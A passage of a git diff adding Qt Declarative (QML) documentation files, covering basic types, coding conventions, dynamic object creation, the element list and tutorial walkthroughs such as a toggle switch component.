+ + A string is a free form text in quotes, e.g. "Hello world!". + + Example: + \qml + Text { text: "Hello world!" } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype url + \ingroup qmlbasictypes + + \brief A URL is a resource locator, like a file name. + + A URL is a resource locator, like a file name. It can be either + absolute, e.g. "http://qt.nokia.com", or relative, e.g. + "pics/logo.png". A relative URL is resolved relative to the URL of + the component where the URL is converted from a JavaScript string + expression to a url property value. + + Example: + \qml + Image { source: "pics/logo.png" } + \endqml + + \raw HTML + \endraw + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype color + \ingroup qmlbasictypes + + \brief A color is a standard color name in quotes. + + A color is a standard color name in quotes. It is normally specified + as an \l {http://www.w3.org/TR/SVG/types.html#ColorKeywords} {SVG + color name}. These names include colors like "red", "green" and + "lightsteelblue". + + If the color you want isn't part of this list, colors can also be + specified in hexidecimal triplets or quads that take the form \c + "#RRGGBB" and \c "#AARRGGBB" respectively. For example, the color + red corresponds to a triplet of \c "#FF0000" and a slightly + transparent blue to a quad of \c "#800000FF". + + Example: + \qml + Rectangle { color: "steelblue" } + Rectangle { color: "#FF0000" } + Rectangle { color: "#800000FF" } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype point + \ingroup qmlbasictypes + + \brief A point is specified as "x,y". + + A point is specified as "x,y". + + Example: + \qml + Widget { pos: "0,20" } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype size + \ingroup qmlbasictypes + + \brief A size is specified as "width x height". + + A size is specified as "width x height". + + Example: + \qml + Widget { size: "150x50" } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype rect + \ingroup qmlbasictypes + + \brief A rect is specified as "x, y, width x height". + + A rect is specified as "x, y, width x height". + + Example: + \qml + Widget { geometry: "50,50,100x100" } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype date + \ingroup qmlbasictypes + + \brief A date is specified as "YYYY-MM-DD". + + A date is specified as "YYYY-MM-DD". + + Example: + \qml + DatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype time + \ingroup qmlbasictypes + + \brief A time is specified as "hh:mm:ss". + + A time is specified as "hh:mm:ss". + + Example: + \qml + TimePicker { time: "14:22:15" } + \endqml + + \sa {QML Basic Types} + */ + +/*! + \qmlbasictype font + \ingroup qmlbasictypes + + \brief A font type has the properties of a QFont. + + A font type has the properties of a QFont. The properties are: + + \list + \o \c string font.family + \o \c bool font.bold + \o \c bool font.italic + \o \c bool font.underline + \o \c real font.pointSize + \o \c int font.pixelSize + \endlist + + Example: + \qml + Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype action + \ingroup qmlbasictypes + + \brief The action type has all the properties of QAction. + + The action type has all the properties of QAction. The properties + are: + + \list + \o \c slot action.trigger - invoke the action + \o \c bool action.enabled - true if the action is enabled + \o \c string action.text - the text associated with the action + \endlist + + Actions are used like this: + + \qml + MouseArea { onClicked: MyItem.myaction.trigger() } + State { name: "enabled"; when: MyItem.myaction.enabled == true } + Text { text: MyItem.someaction.text } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype list + \ingroup qmlbasictypes + + \brief A list of objects. + + A list of objects. While not technically a basic type, QML also + supports lists of object types. When used from QML, the engine + automatically appends each value to the list. + + For example, the \l Item class contains a list property named + children that can be used like this: + + \qml + Item { + children: [ + Item { id: child1 }, + Rectangle { id: child2 }, + Text { id: child3 } + ] + } + \endqml + \c Child1, \c Child2 and \c Child3 will all be added to the children list + in the order in which they appear. + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype vector3d + \ingroup qmlbasictypes + + \brief A vector3d is specified as "x,y,z". + + A vector3d is specified as "x,y,z". + + \qml + Rotation { angle: 60; axis: "0,1,0" } + \endqml + + or with the \c{Qt.vector3d()} helper function: + + \qml + Rotation { angle: 60; axis: Qt.vector3d(0, 1, 0) } + \endqml + + or as separate \c x, \c y, and \c z components: + + \qml + Rotation { angle: 60; axis.x: 0; axis.y: 1; axis.z: 0 } + \endqml + + \sa {QML Basic Types} +*/ diff --git a/doc/src/declarative/codingconventions.qdoc b/doc/src/declarative/codingconventions.qdoc new file mode 100644 index 0000000..7ae5cbd --- /dev/null +++ b/doc/src/declarative/codingconventions.qdoc @@ -0,0 +1,131 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page codingconventions.html +\title QML Coding Conventions + +This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow. + +This page assumes that you are already familiar with the QML language. +If you need an introduction to the language, please read \l {Introduction to the QML language}{the QML introduction} first. + + +\section1 QML objects + +Through our documentation and examples, QML objects are always structured in the following order: + +\list +\o id +\o property declarations +\o signal declarations +\o javascript functions +\o object properties +\o child objects +\o states +\o transitions +\endlist + +For better readability, we separate these different parts with an empty line. + + +For example, a hypothetical \e photo QML object would look like this: + +\snippet doc/src/snippets/declarative/codingconventions/photo.qml 0 + + +\section1 Grouped properties + +If using multiple properties from a group of properties, +we use the \e {group notation} rather than the \e {dot notation} to improve readability. + +For example, this: + +\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 0 + +can be written like this: + +\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 1 + + +\section1 Lists + +If a list contains only one element, we generally omit the square brackets. + +For example, it is very common for a component to only have one state. + +In this case, instead of: + +\snippet doc/src/snippets/declarative/codingconventions/lists.qml 0 + +we will write this: + +\snippet doc/src/snippets/declarative/codingconventions/lists.qml 1 + + +\section1 Javascript code + +If the script is a single expression, we recommend writing it inline: + +\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 0 + +If the script is only a couple of lines long, we generally use a block: + +\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 1 + +If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this: + +\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 2 + +For long scripts, we will put the functions in their own javascript file and import it like this: + +\snippet doc/src/snippets/declarative/codingconventions/javascript-imports.qml 0 + +*/ + + + + + + + + + diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc new file mode 100644 index 0000000..a2a5283 --- /dev/null +++ b/doc/src/declarative/declarativeui.qdoc @@ -0,0 +1,113 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\title Declarative UI (QML) +\page declarativeui.html + +\brief The Qt Declarative module provides a declarative framework for building +highly dynamic, custom user interfaces. + +Qt Declarative UI provides a declarative framework for building highly dynamic, custom +user interfaces. Declarative UI helps programmers and designers collaborate to build +the animation rich, fluid user interfaces that are becoming common in portable +consumer devices, such as mobile phones, media players, set-top boxes and netbooks. +The Qt Declarative module provides an engine for interpreting the declarative QML +language, and a rich set of \l {QML Elements}{QML elements} that can be used +from QML. + +QML is an extension to \l {http://www.ecma-international.org/publications/standards/Ecma-262.htm} +{JavaScript}, that provides a mechanism to declaratively build an object tree +of QML elements. QML improves the integration between JavaScript and Qt's +existing QObject based type system, adds support for automatic +\l {Property Binding}{property bindings} and provides \l {Network Transparency}{network transparency} at the language +level. + +The QML elements are a sophisticated set of graphical and behavioral building +blocks. These different elements are combined together in \l {QML Documents}{QML documents} to build components +ranging in complexity from simple buttons and sliders, to complete +internet-enabled applications like a \l {http://www.flickr.com}{Flickr} photo browser. + +Qt Declarative builds on \l {QML for Qt programmers}{Qt's existing strengths}. +QML can be be used to incrementally extend an existing application or to build +completely new applications. QML is fully \l {Extending QML in C++}{extensible from C++}. + +\section1 Getting Started: +\list +\o \l {Introduction to the QML language} +\o \l {QML Tutorial}{Tutorial: 'Hello World'} +\o \l {QML Advanced Tutorial}{Tutorial: 'Same Game'} +\o \l {QML Examples and Walkthroughs} +\o \l {Using QML in C++ Applications} +\o \l {QML for Qt programmers} +\endlist + +\section1 Core QML Features: +\list +\o \l {QML Documents} +\o \l {Property Binding} +\o \l {Integrating JavaScript} +\o \l {QML Scope} +\o \l {Network Transparency} +\o \l {Data Models} +\o \l {anchor-layout.html}{Anchor-based Layout} +\o \l {qdeclarativestates.html}{States} +\o \l {qdeclarativeanimation.html}{Animation} +\o \l {qdeclarativemodules.html}{Modules} +\o \l {qdeclarativefocus.html}{Keyboard Focus} +\o \l {Extending types from QML} +\o \l {Dynamic Object Creation} +\o \l {qmlruntime.html}{The Qt Declarative Runtime} +\endlist + +\section1 Reference: +\list +\o \l {QML Elements} +\o \l {QML Global Object} +\o \l {Extending QML in C++} +\o \l {Integrating QML with existing Qt UI code} +\o \l {QML Internationalization} +\o \l {QML Security} +\o \l {QtDeclarative Module} +\o \l {Debugging QML} +\o \l {QML Coding Conventions} +\endlist +*/ diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc new file mode 100644 index 0000000..4cb5198 --- /dev/null +++ b/doc/src/declarative/dynamicobjects.qdoc @@ -0,0 +1,176 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativedynamicobjects.html +\title Dynamic Object Management + +QML has some support for dynamically loading and managing QML objects from +within Javascript blocks. It is preferable to use the existing QML elements for +dynamic object management wherever possible; these are \l{Loader}, +\l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView}. It is also possible +to dynamically create and manage objects from C++, and this is preferable for +hybrid QML/C++ applications - see \l{Using QML in C++ Applications}. +Dynamically creating and managing objects from +within Javascript blocks is intended for when none of the existing QML elements +fit the needs of your application, and you do not desire for your application +to involve C++ code. + +\section1 Creating Objects Dynamically +There are two ways of creating objects dynamically. You can either create +a component which instantiates items, or create an item from a string of QML. +Creating a component is better for the situation where you have a predefined +item which you want to manage dynamic instances of, and creating an item from +a string of QML is intended for when the QML itself is generated at runtime. + +If you have a component specified in a QML file, you can dynamically load it with +the \l {createComponent(url file)}{createComponent()} function on the \l{QML Global Object}. +This function takes the URL of the QML file as its only argument and returns +a component object which can be used to create and load that QML file. + +Once you have a component you can use its \c createObject() method to create an instance of +the component. Example QML script is below. Remember that QML files that might be loaded + over the network cannot be expected to be ready immediately. + \code + var component; + var sprite; + function finishCreation() { + if(component.isReady()) { + sprite = component.createObject(); + if(sprite == 0) { + // Error Handling + } else { + sprite.parent = page; + sprite.x = 200; + //... + } + } else if(component.isError()) { + // Error Handling + } + } + + component = createComponent("Sprite.qml"); + if(component.isReady()) { + finishCreation(); + } else { + component.statusChanged.connect(finishCreation); + } + \endcode + + If you are certain the files will be local, you could simplify to + + \code + component = createComponent("Sprite.qml"); + sprite = component.createObject(); + if(sprite == 0) { + // Error Handling + console.log(component.errorsString()); + } else { + sprite.parent = page; + sprite.x = 200; + //... + } + \endcode + +After creating the item, remember to set its parent to an item within the scene. +Otherwise your dynamically created item will not appear in the scene. When using files with relative paths, the path should +be relative to the file where \c createComponent() is executed. + +If the QML does not exist until runtime, you can create a QML item from +a string of QML using the \l{createQmlObject(string qml, object parent, string filepath)}{createQmlObject()} function, as in the following example: + + \code + newObject = createQmlObject('import Qt 4.7; Rectangle { color: "red"; width: 20; height: 20 }', + targetItem, "dynamicSnippet1"); + \endcode +The first argument is the string of QML to create. Just like in a new file, you will need to +import any types you wish to use. For importing files with relative paths, the path should +be relative to the file where the item in the second argument is defined. Remember to set the parent after +creating the item. The second argument is another item in the scene, and the new item is created +in the same QML Context as this item. The third argument is the file path associated with this +item, which is used for error reporting. + +\section1 Maintaining Dynamically Created Objects + +Dynamically created objects may be used the same as other objects, however they +will not have an id in QML. + +A restriction which you need to manage with dynamically created items, +is that the creation context must outlive the +created item. The creation context is the QDeclarativeContext in which \c createComponent() +was called, or the context in which the Component element, or the item used as the +second argument to \c createQmlObject(), was specified. If the creation +context is destroyed before the dynamic item is, then bindings in the dynamic item will +fail to work. + +\section1 Deleting Objects Dynamically +You should generally avoid dynamically deleting objects that you did not +dynamically create. In many UIs, it is sufficient to set the opacity to 0 or +to move the item off of the edge of the screen. If you have lots of dynamically +created items however, deleting them when they are no longer used will provide +a worthwhile performance benefit. Note that you should never manually delete +items which were dynamically created by QML Elements such as \l{Loader}. + +To manually delete a QML item, call its destroy method. This method has one +argument, which is an approximate delay in ms and which defaults to zero. This +allows you to wait until the completion of an animation or transition. An example: + +\code + Component { + id: fadesOut + Rectangle{ + id: rect + width: 40; height: 40; + NumberAnimation on opacity { from:1; to:0; duration: 1000 } + Component.onCompleted: rect.destroy(1000); + } + } + function createFadesOut(parentItem) + { + var object = fadesOut.createObject(); + object.parent = parentItem; + } +\endcode +In the above example, the dynamically created rectangle calls destroy as soon as it's created, + but delays long enough for its fade out animation to play. + +*/ + diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc new file mode 100644 index 0000000..ce3a6e3 --- /dev/null +++ b/doc/src/declarative/elements.qdoc @@ -0,0 +1,212 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativeelements.html +\target elements +\title QML Elements + +The following table lists the QML elements provided by the Qt Declarative module. + +\bold {Standard Qt Declarative Elements} + +\table 80% +\header +\o \bold {States} +\o \bold {Animation and Transitions} +\o \bold {Working with Data} +\o \bold {Utility} +\row + +\o +\list +\o \l State +\o \l PropertyChanges +\o \l StateGroup +\o \l ParentChange (Item-specific) +\o \l StateChangeScript (Item-specific) +\o \l AnchorChanges (Item-specific) +\endlist + +\o +\list +\o \l PropertyAnimation +\o \l NumberAnimation +\o \l ColorAnimation +\o \l RotationAnimation +\o \l SequentialAnimation +\o \l ParallelAnimation +\o \l PauseAnimation +\o \l ParentAnimation +\o \l AnchorAnimation +\o \l SmoothedAnimation +\o \l PropertyAction +\o \l ScriptAction +\o \l Transition +\o \l SpringFollow +\o \l Behavior +\endlist + +\o +\list +\o \l Binding +\o \l ListModel +\list +\o \l ListElement +\endlist +\o \l VisualItemModel +\o \l VisualDataModel +\o \l Package +\o \l XmlListModel +\list +\o \l XmlRole +\endlist +\endlist + +\o +\list +\o \l Connections +\o \l Component +\o \l Timer +\o \l QtObject +\o \l WorkerScript +\endlist +\endtable + +\bold {QML Items} + +\table 80% +\header +\o \bold {Basic Visual Items} +\o \bold {Basic Interaction Items} +\o \bold {Utility} +\o \bold {Transforms} + +\row +\o +\list +\o \l Item +\o \l Rectangle +\o \l Image +\o \l BorderImage +\o \l Text +\o \l TextInput +\o \l TextEdit +\endlist + +\o +\list +\o \l MouseArea +\o \l FocusScope +\o \l Flickable +\o \l Flipable +\o \l GestureArea (experimental) +\endlist + +\o +\list +\o \l Loader +\o \l Repeater +\o \l SystemPalette +\o \l LayoutItem +\endlist + +\o +\list +\o \l Scale +\o \l Rotation +\o \l Translate +\endlist + +\header +\o \bold {Views} +\o \bold {Positioners} +\o \bold {Media} +\o \bold {Effects} + +\row +\o + +\target xmlViews +\list +\o \l ListView +\o \l GridView +\o \l PathView + \list + \o \l Path + \list + \o \l PathLine + \o \l PathQuad + \o \l PathCubic + \o \l PathAttribute + \o \l PathPercent + \endlist + \endlist +\o \l WebView +\endlist + +\o +\list +\o \l Column +\o \l Row +\o \l Grid +\o \l Flow +\endlist + +\o +\list +\o \l SoundEffect +\o \l Audio +\o \l Video +\endlist + +\o +\list +\o \l Particles (experimental) + \list + \o \l ParticleMotionLinear + \o \l ParticleMotionGravity + \o \l ParticleMotionWander + \endlist +\endlist +\endtable + +*/ diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc new file mode 100644 index 0000000..c14208e --- /dev/null +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -0,0 +1,137 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativeexampletoggleswitch.html +\title QML Example - Toggle Switch + +This example shows how to create a reusable switch component in QML. + +The code for this example can be found in the \c $QTDIR/examples/declarative/slideswitch directory. + +\section1 Overview + +The elements that composed the switch are: + +\list +\o a \c on property (the interface to interact with the switch), +\o two images (the background image and the knob), +\o two mouse regions for user interation (on the background image and on the knob), +\o two states (a \e on state and a \e off state), +\o two functions or slots to react to the user interation (\c toggle() and \c dorelease()), +\o and a transition that describe how to go from one state to the other. +\endlist + +\section1 Switch.qml +\snippet examples/declarative/slideswitch/content/Switch.qml 0 + +\section1 Walkthrough + +\section2 Interface +\snippet examples/declarative/slideswitch/content/Switch.qml 1 + +This property is the interface of the switch. By default, the switch is off and this property is \c false. +It can be used to activate/disactivate the switch or to query its current state. + +In this example: + +\qml +Switch { id: mySwitch; on: true } +Text { text: "The switch is on"; visible: mySwitch.on == true } +\endqml + +the text will only be visible when the switch is on. + +\section2 Images and user interaction +\snippet examples/declarative/slideswitch/content/Switch.qml 4 + +First, we create the background image of the switch. +In order for the switch to toggle when the user clicks on the background, we add a \l{MouseArea} as a child item of the image. +A \c MouseArea has a \c onClicked property that is triggered when the item is clicked. For the moment we will just call a +\c toggle() function. We will see what this function does in a moment. + +\snippet examples/declarative/slideswitch/content/Switch.qml 5 + +Then, we place the image of the knob on top of the background. +The interaction here is a little more complex. We want the knob to move with the finger when it is clicked. That is what the \c drag +property of the \c MouseArea is for. We also want to toggle the switch if the knob is released between state. We handle this case +in the \c dorelease() function that is called in the \c onReleased property. + +\section2 States +\snippet examples/declarative/slideswitch/content/Switch.qml 6 + +We define the two states of the switch: +\list +\o In the \e on state the knob is on the right (\c x position is 78) and the \c on property is \c true. +\o In the \e off state the knob is on the left (\c x position is 1) and the \c on property is \c false. +\endlist + +For more information on states see \l{qmlstates}{QML States}. + +\section2 Functions + +We add two JavaScript functions to our switch: + +\snippet examples/declarative/slideswitch/content/Switch.qml 2 + +This first function is called when the background image or the knob are clicked. We simply want the switch to toggle between the two +states (\e on and \e off). + + +\snippet examples/declarative/slideswitch/content/Switch.qml 3 + +This second function is called when the knob is released and we want to make sure that the knob does not end up between states +(neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing. + +For more information on scripts see \l{Integrating JavaScript}. + +\section2 Transition +\snippet examples/declarative/slideswitch/content/Switch.qml 7 + +At this point, when the switch toggles between the two states the knob will instantly change its \c x position between 1 and 78. +In order for the the knob to move smoothly we add a transition that will animate the \c x property with an easing curve for a duration of 200ms. + +For more information on transitions see \l{state-transitions}{QML Transitions}. + +\section1 Usage +The switch can be used in a QML file, like this: +\snippet examples/declarative/slideswitch/slideswitch.qml 0 +*/ diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc new file mode 100644 index 0000000..3d8325e --- /dev/null +++ b/doc/src/declarative/examples.qdoc @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativeexamples.html +\title QML Examples and Walkthroughs + +\section1 Running Examples and Demos + +You can find many simple examples in the \c examples/declarative +sub-directory that show how to use various aspects of QML. In addition, the +\c demos/declarative sub-directory contains more sophisticated demos of large +applications. These demos are intended to show integrated functionality +rather than being instructive on specifice elements. + +To run the examples and demos, use the included \l {Qt Declarative UI Runtime}{qml} +application. It has some useful options, revealed by: + +\code + bin/qml -help +\endcode + +For example, from your build directory, run: + +\code + bin/qml $QTDIR/demos/declarative/samegame/samegame.qml +\endcode + +\section1 Examples + +These will be documented, and demonstrate how to achieve various things in QML. + +\table +\row + \o Elastic Dial + \o \image dial-example.gif +\row + \o \l{qdeclarativeexampletoggleswitch.html}{Toggle Switch} + \o \image switch-example.gif +\row + \o \l{QML Advanced Tutorial}{SameGame} + \o \image declarative-adv-tutorial4.gif +\endtable + +*/ diff --git a/doc/src/declarative/extending-examples.qdoc b/doc/src/declarative/extending-examples.qdoc new file mode 100644 index 0000000..cc66838 --- /dev/null +++ b/doc/src/declarative/extending-examples.qdoc @@ -0,0 +1,309 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\example declarative/extending/adding +\title Extending QML - Adding Types Example + +The Adding Types Example shows how to add a new element type, \c Person, to QML. +The \c Person type can be used from QML like this: + +\snippet examples/declarative/extending/adding/example.qml 0 + +\section1 Declare the Person class + +All QML elements map to C++ types. Here we declare a basic C++ Person class +with the two properties we want accessible on the QML type - name and shoeSize. +Although in this example we use the same name for the C++ class as the QML +element, the C++ class can be named differently, or appear in a namespace. + +\snippet examples/declarative/extending/adding/person.h 0 + +Following the class declaration, we include the QML_DECLARE_TYPE() macro. This +is necessary to declare the type to QML. It also includes the logic necessary +to expose the class to Qt's meta system - that is, it includes the +Q_DECLARE_METATYPE() functionality. + +\section1 Define the Person class + +\snippet examples/declarative/extending/adding/person.cpp 0 + +The Person class implementation is quite basic. The property accessors simply +return members of the object instance. + +The implementation must also be registered using the QML_REGISTER_TYPE() macro. This macro +registers the Person class with QML as a type in the People library version 1.0, +and defines the mapping between the C++ and QML class names. + +\section1 Running the example + +The main.cpp file in the example includes a simple shell application that +loads and runs the QML snippet shown at the beginning of this page. +*/ + +/*! +\example declarative/extending/properties +\title Extending QML - Object and List Property Types Example + +This example builds on: +\list +\o \l {Extending QML - Adding Types Example} +\endlist + +The Object and List Property Types example shows how to add object and list +properties in QML. This example adds a BirthdayParty element that specifies +a birthday party, consisting of a celebrant and a list of guests. People are +specified using the People QML type built in the previous example. + +\snippet examples/declarative/extending/properties/example.qml 0 + +\section1 Declare the BirthdayParty + +The BirthdayParty class is declared like this: + +\snippet examples/declarative/extending/properties/birthdayparty.h 0 +\snippet examples/declarative/extending/properties/birthdayparty.h 1 +\snippet examples/declarative/extending/properties/birthdayparty.h 2 +\snippet examples/declarative/extending/properties/birthdayparty.h 3 + +The class contains a member to store the celebrant object, and also a +QList<Person *> member. + +In QML, the type of a list properties - and the guests property is a list of +people - are all of type QDeclarativeListProperty<T>. QDeclarativeListProperty is simple value +type that contains a set of function pointers. QML calls these function +pointers whenever it needs to read from, write to or otherwise interact with +the list. In addition to concrete lists like the people list used in this +example, the use of QDeclarativeListProperty allows for "virtual lists" and other advanced +scenarios. + +\section2 Define the BirthdayParty + +The implementation of BirthdayParty property accessors is straight forward. + +\snippet examples/declarative/extending/properties/birthdayparty.cpp 0 + +\section1 Running the example + +The main.cpp file in the example includes a simple shell application that +loads and runs the QML snippet shown at the beginning of this page. +*/ + +/*! +\example declarative/extending/coercion +\title Extending QML - Inheritance and Coercion Example + +This example builds on: +\list +\o \l {Extending QML - Object and List Property Types Example} +\o \l {Extending QML - Adding Types Example} +\endlist + +The Inheritance and Coercion Example shows how to use base classes to assign +elements of more than one type to a property. It specializes the Person element +developed in the previous examples into two elements - a \c Boy and a \c Girl. + +\snippet examples/declarative/extending/coercion/example.qml 0 + +\section1 Declare Boy and Girl + +\snippet 